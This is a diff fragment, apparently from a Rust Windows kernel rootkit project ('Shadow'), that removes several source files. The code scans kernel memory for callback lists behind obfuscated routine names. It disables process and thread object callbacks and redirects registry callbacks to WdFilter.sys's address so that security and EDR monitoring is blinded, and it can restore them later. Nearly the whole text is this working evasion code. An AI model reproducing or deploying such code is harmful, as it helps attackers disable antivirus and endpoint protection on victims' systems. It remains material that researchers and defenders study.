||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Store the callback information
|
||||
let mut name = [0u16; 256];
|
||||
let length = core::cmp::min(buffer.len(), 255);
|
||||
name[..length].copy_from_slice(&buffer[..length]);
|
||||
|
||||
callbacks.push(CallbackInfoOutput {
|
||||
index: callback.index as u8,
|
||||
address: callback.address as usize,
|
||||
name,
|
||||
..Default::default()
|
||||
});
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
// Move to the next module
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset the module list pointer for the next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
Ok(callbacks)
|
||||
}
|
||||
}
|
||||
@@ -1,287 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
spin::{Lazy, Mutex},
|
||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
wdk_sys::{NTSTATUS, STATUS_SUCCESS,}
|
||||
};
|
||||
|
||||
use {
|
||||
common::{
|
||||
enums::Callbacks,
|
||||
structs::CallbackInfoOutput,
|
||||
},
|
||||
crate::{
|
||||
error::ShadowError, list_modules,
|
||||
lock::with_push_lock_exclusive,
|
||||
data::{CallbackRestaureOb, OBCALLBACK_ENTRY},
|
||||
callback::find_callback::{find_callback_address, CallbackResult},
|
||||
},
|
||||
};
|
||||
|
||||
/// Structure representing the Callback Object.
|
||||
pub struct CallbackOb;
|
||||
|
||||
const MAX_CALLBACK: usize = 100;
|
||||
|
||||
/// Stores information about removed callbacks.
|
||||
///
|
||||
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
||||
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
||||
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
|
||||
);
|
||||
|
||||
/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType).
|
||||
impl CallbackOb {
|
||||
/// Restores a previously removed callback by its index.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
||||
/// * `index` - The index of the callback to restore.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
||||
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
||||
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
// Lock the removed callbacks to ensure thread-safe access
|
||||
let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||
|
||||
// Find the callback by its index
|
||||
let index = callbacks
|
||||
.iter()
|
||||
.position(|c| c.callback == callback && c.index == index)
|
||||
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||
|
||||
// Retrieve the callback address based on the callback type
|
||||
let full_object = match find_callback_address(&callback)? {
|
||||
CallbackResult::Object(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound),
|
||||
};
|
||||
|
||||
// Acquire exclusive access to the TypeLock associated with the callback object
|
||||
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
|
||||
with_push_lock_exclusive(lock, || {
|
||||
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||
|
||||
// Traverse the list of callback entries to find the one matching the removed entry
|
||||
while next != current {
|
||||
if !(*next).Enabled && !next.is_null() && (*next).Entry as u64 == callbacks[index].entry {
|
||||
|
||||
// Re-enable the callback and remove it from the removed list
|
||||
(*next).Enabled = true;
|
||||
callbacks.remove(index);
|
||||
|
||||
return Ok(STATUS_SUCCESS);
|
||||
}
|
||||
|
||||
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||
}
|
||||
|
||||
Err(ShadowError::RestoringFailureCallback)
|
||||
})
|
||||
}
|
||||
|
||||
/// Removes a callback from a notification routine.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - The type of callback to remove.
|
||||
/// * `index` - The index of the callback to remove.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
||||
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
||||
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
// Retrieve the callback address based on the callback type
|
||||
let full_object = match find_callback_address(&callback)? {
|
||||
CallbackResult::Object(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound),
|
||||
};
|
||||
|
||||
// Acquire exclusive access to the TypeLock associated with the callback object
|
||||
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
|
||||
with_push_lock_exclusive(lock, || {
|
||||
let mut i = 0;
|
||||
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||
|
||||
// Traverse the list of callback entries
|
||||
while next != current {
|
||||
if i == index {
|
||||
if (*next).Enabled {
|
||||
// Store the removed callback in the list of removed callbacks
|
||||
let callback_restaure = CallbackRestaureOb {
|
||||
index,
|
||||
callback,
|
||||
entry: (*next).Entry as u64,
|
||||
pre_operation: (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64),
|
||||
post_operation: (*next).PostOperation.map_or(0u64, |post_op| post_op as u64)
|
||||
};
|
||||
|
||||
// Disable the callback
|
||||
(*next).Enabled = false;
|
||||
callback_info.push(callback_restaure);
|
||||
}
|
||||
|
||||
return Ok(STATUS_SUCCESS);
|
||||
}
|
||||
|
||||
// Move to the next entry in the callback list
|
||||
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||
i += 1;
|
||||
}
|
||||
|
||||
Err(ShadowError::RemoveFailureCallback)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Methods related to callback enumeration
|
||||
impl CallbackOb {
|
||||
/// Enumerates the modules associated with callbacks and populates callback information.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - The type of callback to enumerate.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of callbacks.
|
||||
/// * `Err(ShadowError)` - if the callback cannot be found.
|
||||
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||
|
||||
// Retrieve the callback address based on the callback type
|
||||
let full_object = match find_callback_address(&callback)? {
|
||||
CallbackResult::Object(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound),
|
||||
};
|
||||
|
||||
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||
let mut list_objects = Vec::new();
|
||||
|
||||
// Collect the information about each callback
|
||||
while next != current {
|
||||
let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64);
|
||||
let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64);
|
||||
|
||||
list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr)));
|
||||
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||
}
|
||||
|
||||
// Iterate over loaded modules to find the module corresponding to each callback
|
||||
let (mut ldr_data, module_count) = list_modules()?;
|
||||
let start_entry = ldr_data;
|
||||
let mut current_index = 0;
|
||||
|
||||
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
|
||||
if !enabled {
|
||||
current_index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
|
||||
let pre_operation = addrs.0;
|
||||
let post_operation = addrs.1;
|
||||
|
||||
// Check if the callback addresses fall within the module's memory range
|
||||
if pre_operation > start_address as u64 && pre_operation < end_address ||
|
||||
post_operation > start_address as u64 && post_operation < end_address
|
||||
{
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Store the callback information
|
||||
let mut name = [0u16; 256];
|
||||
let length = core::cmp::min(buffer.len(), 255);
|
||||
name[..length].copy_from_slice(&buffer[..length]);
|
||||
|
||||
callbacks.push(CallbackInfoOutput {
|
||||
index: current_index,
|
||||
name,
|
||||
pre_operation: pre_operation as usize,
|
||||
post_operation: post_operation as usize,
|
||||
address: 0
|
||||
});
|
||||
|
||||
current_index += 1;
|
||||
break;
|
||||
}
|
||||
|
||||
// Move to the next module
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset ldr_data for the next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
Ok(callbacks)
|
||||
}
|
||||
|
||||
/// Enumerates all removed callbacks and provides detailed information.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of removed callbacks.
|
||||
/// * `Err(ShadowError)` - if the operation fails.
|
||||
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||
|
||||
let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||
let (mut ldr_data, module_count) = list_modules()?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
// Iterate over the removed callbacks
|
||||
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
|
||||
// Check if the callback addresses fall within the module's memory range
|
||||
if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address
|
||||
|| callback.post_operation > start_address as u64 && callback.post_operation < end_address
|
||||
{
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Store the removed callback information
|
||||
let mut name = [0u16; 256];
|
||||
let length = core::cmp::min(buffer.len(), 255);
|
||||
name[..length].copy_from_slice(&buffer[..length]);
|
||||
|
||||
callbacks.push(CallbackInfoOutput {
|
||||
index: callback.index as u8,
|
||||
name,
|
||||
pre_operation: callback.pre_operation as usize,
|
||||
post_operation: callback.post_operation as usize,
|
||||
address: 0
|
||||
});
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
// Move to the next module
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset the module list pointer for the next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
Ok(callbacks)
|
||||
}
|
||||
}
|
||||
@@ -1,280 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
spin::{Lazy, Mutex},
|
||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
wdk_sys::{NTSTATUS, STATUS_SUCCESS},
|
||||
};
|
||||
|
||||
use {
|
||||
common::{
|
||||
enums::Callbacks,
|
||||
structs::CallbackInfoOutput
|
||||
},
|
||||
crate::{
|
||||
list_modules,
|
||||
error::ShadowError,
|
||||
lock::with_push_lock_exclusive,
|
||||
data::{CallbackRestaure, CM_CALLBACK},
|
||||
callback::find_callback::{
|
||||
find_callback_address, CallbackResult
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
/// Structure representing the Callback Registry.
|
||||
pub struct CallbackRegistry;
|
||||
|
||||
const MAX_CALLBACK: usize = 100;
|
||||
|
||||
/// Stores information about removed callbacks.
|
||||
///
|
||||
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
||||
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
||||
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
|
||||
);
|
||||
|
||||
/// Implement a feature for the callback CmRegisterCallbackEx.
|
||||
impl CallbackRegistry {
|
||||
/// Restores a previously removed callback by its index.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
||||
/// * `index` - The index of the callback to restore.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
||||
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
||||
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
// Lock the removed callbacks to ensure thread-safe access
|
||||
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||
|
||||
// Locating the target callback index
|
||||
let index = callbacks_info
|
||||
.iter()
|
||||
.position(|c| c.callback == callback && c.index == index)
|
||||
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||
|
||||
// Retrieve the callback address based on the callback type
|
||||
let (callback, count, lock) = match find_callback_address(&callback)? {
|
||||
CallbackResult::Registry(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound)
|
||||
};
|
||||
|
||||
// Getting a lock to perform the restore operation
|
||||
with_push_lock_exclusive(lock as *mut u64, || {
|
||||
let count = *(count as *mut u32) + 1;
|
||||
let mut pcm_callback = callback as *mut CM_CALLBACK;
|
||||
|
||||
for i in 0..count {
|
||||
if pcm_callback.is_null() {
|
||||
break;
|
||||
}
|
||||
|
||||
if i == index as u32 {
|
||||
// If the index is matched, restore from the list
|
||||
(*pcm_callback).Function = callbacks_info[index].address;
|
||||
callbacks_info.remove(index);
|
||||
|
||||
return Ok(STATUS_SUCCESS);
|
||||
}
|
||||
|
||||
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||
}
|
||||
|
||||
Err(ShadowError::RestoringFailureCallback)
|
||||
})
|
||||
}
|
||||
|
||||
/// Removes a callback from the specified routine.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target_callback` - Pointer to the callback information input.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
||||
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
||||
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
// Retrieve the callback address based on the callback type
|
||||
let (callbacks, count, lock) = match find_callback_address(&callback)? {
|
||||
CallbackResult::Registry(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound)
|
||||
};
|
||||
|
||||
// Getting a lock to perform the remove operation
|
||||
with_push_lock_exclusive(lock as *mut u64, || {
|
||||
let count = *(count as *mut u32) + 1;
|
||||
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
|
||||
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||
let mut prev_addr = 0;
|
||||
|
||||
for i in 0..count {
|
||||
if i == 1 {
|
||||
// Here we make an exchange, changing the target address to `WdFilter.sys`
|
||||
prev_addr = (*pcm_callback).Function;
|
||||
}
|
||||
|
||||
if pcm_callback.is_null() {
|
||||
break;
|
||||
}
|
||||
|
||||
if i == index as u32 {
|
||||
let callback_restaure = CallbackRestaure {
|
||||
index,
|
||||
callback,
|
||||
address: (*pcm_callback).Function,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
// If the index is matched, remove from the list
|
||||
(*pcm_callback).Function = prev_addr;
|
||||
callbacks_info.push(callback_restaure);
|
||||
|
||||
return Ok(STATUS_SUCCESS);
|
||||
}
|
||||
|
||||
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||
}
|
||||
|
||||
Err(ShadowError::RemoveFailureCallback)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
/// Methods related to callback enumeration
|
||||
impl CallbackRegistry {
|
||||
/// Searches for a module associated with a callback and updates callback information.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target_callback` - Pointer to the callback information input.
|
||||
/// * `callback_info` - Pointer to the callback information output.
|
||||
/// * `information` - Pointer to a variable to store information size.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||
|
||||
let (callback, count, lock) = match find_callback_address(&callback)? {
|
||||
CallbackResult::Registry(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound)
|
||||
};
|
||||
|
||||
let (mut ldr_data, module_count) = list_modules()?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
let count = *(count as *mut u32) + 1;
|
||||
let mut pcm_callback = callback as *mut CM_CALLBACK;
|
||||
|
||||
with_push_lock_exclusive(lock as *mut u64, || {
|
||||
for i in 0..count as isize {
|
||||
if pcm_callback.is_null() {
|
||||
break;
|
||||
}
|
||||
|
||||
// Iterate over the loaded modules
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
let addr = (*pcm_callback).Function;
|
||||
|
||||
if addr > start_address as u64 && addr < end_address {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Store the callback information
|
||||
let mut name = [0u16; 256];
|
||||
let length = core::cmp::min(buffer.len(), 255);
|
||||
name[..length].copy_from_slice(&buffer[..length]);
|
||||
|
||||
callbacks.push(CallbackInfoOutput {
|
||||
index: i as u8,
|
||||
address: addr as usize,
|
||||
name,
|
||||
..Default::default()
|
||||
});
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
// Go to the next module in the list
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset ldr_data for next callback
|
||||
ldr_data = start_entry;
|
||||
|
||||
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||
}
|
||||
|
||||
Ok(callbacks)
|
||||
})
|
||||
}
|
||||
|
||||
/// List of callbacks currently removed.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target_callback` - Pointer to the callback information input.
|
||||
/// * `callback_info` - Pointer to the callback information output.
|
||||
/// * `information` - Pointer to a variable to store information size.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||
|
||||
let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||
let (mut ldr_data, module_count) = list_modules()?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
|
||||
if callback.address > start_address as u64 && callback.address < end_address {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Store the callback information
|
||||
let mut name = [0u16; 256];
|
||||
let length = core::cmp::min(buffer.len(), 255);
|
||||
name[..length].copy_from_slice(&buffer[..length]);
|
||||
|
||||
callbacks.push(CallbackInfoOutput {
|
||||
index: callback.index as u8,
|
||||
address: callback.address as usize,
|
||||
name,
|
||||
..Default::default()
|
||||
});
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
// Move to the next module
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset the module list pointer for the next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
Ok(callbacks)
|
||||
}
|
||||
}
|
||||
@@ -1,173 +0,0 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
wdk_sys::{
|
||||
PsProcessType, PsThreadType,
|
||||
ntddk::MmGetSystemRoutineAddress,
|
||||
},
|
||||
};
|
||||
|
||||
use {
|
||||
common::enums::Callbacks,
|
||||
crate::{
|
||||
data::FULL_OBJECT_TYPE,
|
||||
error::ShadowError,
|
||||
utils::{
|
||||
patterns::scan_for_pattern,
|
||||
uni::str_to_unicode
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
|
||||
///
|
||||
/// This function retrieves the address of the `PsSetCreateProcessNotifyRoutine`
|
||||
/// by scanning memory for a specific pattern.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
||||
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
||||
unsafe fn find_ps_create_process() -> Result<*mut u8, ShadowError> {
|
||||
let mut name = str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
|
||||
// call nt!PspSetCreateProcessNotifyRoutine (xxx)
|
||||
let instructions = [0xE8];
|
||||
let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14)?;
|
||||
|
||||
let instructions = [0x4C, 0x8D, 0x2D];
|
||||
scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98)
|
||||
}
|
||||
|
||||
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
|
||||
///
|
||||
/// This function retrieves the address of the `PsRemoveCreateThreadNotifyRoutine`
|
||||
/// by scanning memory for a specific pattern.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
||||
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
||||
unsafe fn find_ps_create_thread() -> Result<*mut u8, ShadowError> {
|
||||
let mut name = str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
|
||||
// lea rcx,[nt!PspCreateThreadNotifyRoutine (xxx)]
|
||||
let instructions = [0x48, 0x8D, 0x0D];
|
||||
scan_for_pattern(function_address, &instructions, 3, 7, 0x50)
|
||||
}
|
||||
|
||||
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
|
||||
///
|
||||
/// This function retrieves the address of the `PsSetLoadImageNotifyRoutineEx`
|
||||
/// by scanning memory for a specific pattern.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
||||
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
||||
unsafe fn find_ps_load_image() -> Result<*mut u8, ShadowError> {
|
||||
let mut name = str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
|
||||
// lea rcx,[nt!PspLoadImageNotifyRoutine (xxx)]
|
||||
let instructions = [0x48, 0x8D, 0x0D];
|
||||
scan_for_pattern(function_address, &instructions, 3, 7, 0x50)
|
||||
}
|
||||
|
||||
/// Finds the address of the `CmRegisterCallbackEx` routine.
|
||||
///
|
||||
/// This function retrieves the address of the `CmRegisterCallbackEx` routine
|
||||
/// and other related components such as the callback list lock, callback list head,
|
||||
/// and the callback count, by scanning memory for specific patterns.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok((*mut u8, *mut u8, *mut u8))` - A tuple containing the callback list head, callback count,
|
||||
/// and the callback list lock if found.
|
||||
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
||||
unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8), ShadowError> {
|
||||
let mut name = str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
|
||||
// call nt!CmpRegisterCallbackInternal
|
||||
let register_internal_pattern = [0xE8];
|
||||
let register_callback_internal = scan_for_pattern(function_address, ®ister_internal_pattern, 1, 5, 0x50)?;
|
||||
|
||||
// call nt!CmpInsertCallbackInListByAltitude
|
||||
let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8];
|
||||
let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108)?;
|
||||
|
||||
// lea rcx,[nt!CmpCallbackListLock (xxx)]
|
||||
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
|
||||
let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200)?;
|
||||
|
||||
// lea r15,[nt!CallbackListHead (xxx)]
|
||||
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
|
||||
let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200)?;
|
||||
|
||||
// lock inc dword ptr [nt!CmpCallBackCount (xxx)]
|
||||
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
|
||||
let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200)?;
|
||||
|
||||
Ok((callback_list_header, callback_count, callback_list_lock))
|
||||
}
|
||||
|
||||
/// Finds the address of the `ObRegisterCallbacks` routine.
|
||||
///
|
||||
/// This function retrieves the address of either the `ObProcess` or `ObThread` callbacks
|
||||
/// based on the provided callback type.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - A reference to the `Callbacks` enum specifying the target callback.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut FULL_OBJECT_TYPE)` - The pointer to the object type associated with the callback if found.
|
||||
/// * `Err(ShadowError)` - If the callback type is not recognized or an error occurs.
|
||||
pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJECT_TYPE, ShadowError> {
|
||||
match callback {
|
||||
Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }),
|
||||
Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }),
|
||||
_ => Err(ShadowError::PatternNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds the address of the specified callback routine.
|
||||
///
|
||||
/// This function dispatches the search based on the callback type, calling the appropriate
|
||||
/// function to retrieve the address of the desired callback.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - A reference to the `Callbacks` enum specifying the target callback.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(CallbackResult)` - A result containing the address of the callback or related components.
|
||||
/// * `Err(ShadowError)` - If the callback is not found or an error occurs.
|
||||
pub unsafe fn find_callback_address(callback: &Callbacks) -> Result<CallbackResult, ShadowError> {
|
||||
match callback {
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::Notify),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::Notify),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::Notify),
|
||||
Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry),
|
||||
Callbacks::ObProcess | Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::Object),
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum representing the return types for various callback searches.
|
||||
///
|
||||
/// This enum holds the result of searching for a specific callback routine.
|
||||
/// The variants store the associated memory addresses for the found callbacks.
|
||||
pub enum CallbackResult {
|
||||
/// Holds the address for process/thread/image creation notifications.
|
||||
Notify(*mut u8),
|
||||
|
||||
/// Holds the addresses for the registry callback, including the callback list and callback count.
|
||||
Registry((*mut u8, *mut u8, *mut u8)),
|
||||
|
||||
/// Holds the address for object process/thread callbacks.
|
||||
Object(*mut FULL_OBJECT_TYPE),
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
/// This module provides custom callback functions and utilities.
|
||||
pub mod find_callback;
|
||||
|
||||
/// This module implements various types of callbacks used throughout the project.
|
||||
pub mod callbacks;
|
||||
pub use callbacks::*;
|
||||
@@ -1,13 +0,0 @@
|
||||
